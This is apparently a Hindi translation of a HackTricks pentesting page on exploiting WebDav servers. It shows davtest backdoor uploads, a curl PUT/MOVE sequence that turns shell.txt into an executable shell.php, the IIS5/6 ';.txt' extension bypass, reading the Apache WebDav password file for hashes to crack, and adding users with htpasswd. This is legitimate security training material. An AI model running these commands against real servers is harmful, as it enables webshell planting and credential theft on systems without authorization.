83 lines
7.1 KiB
Markdown

# WebDav
{{#include ../../banners/hacktricks-training.md}}
जब **WebDav** सक्षम **HTTP सर्वर** के साथ काम कर रहे हैं, तो यदि आपके पास सही **प्रमाण पत्र** हैं, तो आप **फाइलों को संशोधित** कर सकते हैं, जो आमतौर पर **HTTP बेसिक ऑथेंटिकेशन** के माध्यम से सत्यापित होते हैं। ऐसे सर्वर पर नियंत्रण प्राप्त करना अक्सर **वेबशेल के अपलोड और निष्पादन** में शामिल होता है।
WebDav सर्वर तक पहुँचने के लिए आमतौर पर **मान्य प्रमाण पत्र** की आवश्यकता होती है, जिसमें [**WebDav ब्रूटफोर्स**](../../generic-hacking/brute-force.md#http-basic-auth) एक सामान्य विधि है।
फाइल अपलोड पर प्रतिबंधों को पार करने के लिए, विशेष रूप से उन प्रतिबंधों को जो सर्वर-साइड स्क्रिप्ट के निष्पादन को रोकते हैं, आप:
- यदि प्रतिबंधित नहीं है तो **निष्पादन योग्य एक्सटेंशन** वाली फाइलें सीधे **अपलोड** करें।
- अपलोड की गई गैर-निष्पादन योग्य फाइलों (जैसे .txt) का नाम बदलकर निष्पादन योग्य एक्सटेंशन में बदलें।
- अपलोड की गई गैर-निष्पादन योग्य फाइलों की **कॉपी** करें, उनके एक्सटेंशन को एक निष्पादन योग्य में बदलते हुए।
## DavTest
**Davtest** कई **विभिन्न एक्सटेंशनों** वाली फाइलों को **अपलोड** करने की कोशिश करता है और **जांचता** है कि क्या एक्सटेंशन **निष्पादित** होता है:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
इसका मतलब यह नहीं है कि **.txt** और **.html एक्सटेंशन निष्पादित हो रहे हैं**। इसका मतलब है कि आप **इन फ़ाइलों तक पहुँच सकते हैं** वेब के माध्यम से।
## Cadaver
आप इस उपकरण का उपयोग **WebDav** सर्वर से **जोड़ने** और क्रियाएँ (जैसे **अपलोड**, **स्थानांतरित** या **हटाना**) **हाथ से** करने के लिए कर सकते हैं।
```
cadaver <IP>
```
## PUT अनुरोध
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE अनुरोध
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Vulnerability
यह सुरक्षा कमी बहुत दिलचस्प है। **WebDav** **फाइलों को अपलोड** या **नाम बदलने** की अनुमति **नहीं देता** जिनका एक्सटेंशन **.asp** है। लेकिन आप नाम के अंत में **";.txt"** जोड़कर इसे **बायपास** कर सकते हैं और फाइल को एक .asp फाइल की तरह **निष्पादित** किया जाएगा (आप **".html" का उपयोग भी कर सकते हैं ".txt" के बजाय** लेकिन **";" को मत भूलें**)।
फिर आप अपनी शेल को एक ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे एक ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (कैडावर कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई)।
![](<../../images/image (1092).png>)
## Post credentials
यदि Webdav एक Apache सर्वर का उपयोग कर रहा था तो आपको Apache में कॉन्फ़िगर की गई साइटों पर ध्यान देना चाहिए। सामान्यतः:\
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
इसके अंदर आप कुछ ऐसा पा सकते हैं:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
जैसा कि आप देख सकते हैं, **webdav** सर्वर के लिए मान्य **credentials** के साथ फ़ाइलें हैं:
```
/etc/apache2/users.password
```
इस प्रकार की फ़ाइलों के अंदर आपको **username** और पासवर्ड का **hash** मिलेगा। ये वे क्रेडेंशियल्स हैं जो वेबडाव सर्वर उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग कर रहा है।
आप उन्हें **crack** करने की कोशिश कर सकते हैं, या यदि किसी कारणवश आप **webdav** सर्वर तक **access** करना चाहते हैं तो **more** जोड़ सकते हैं:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
नए क्रेडेंशियल्स काम कर रहे हैं या नहीं यह जांचने के लिए आप कर सकते हैं:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## संदर्भ
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}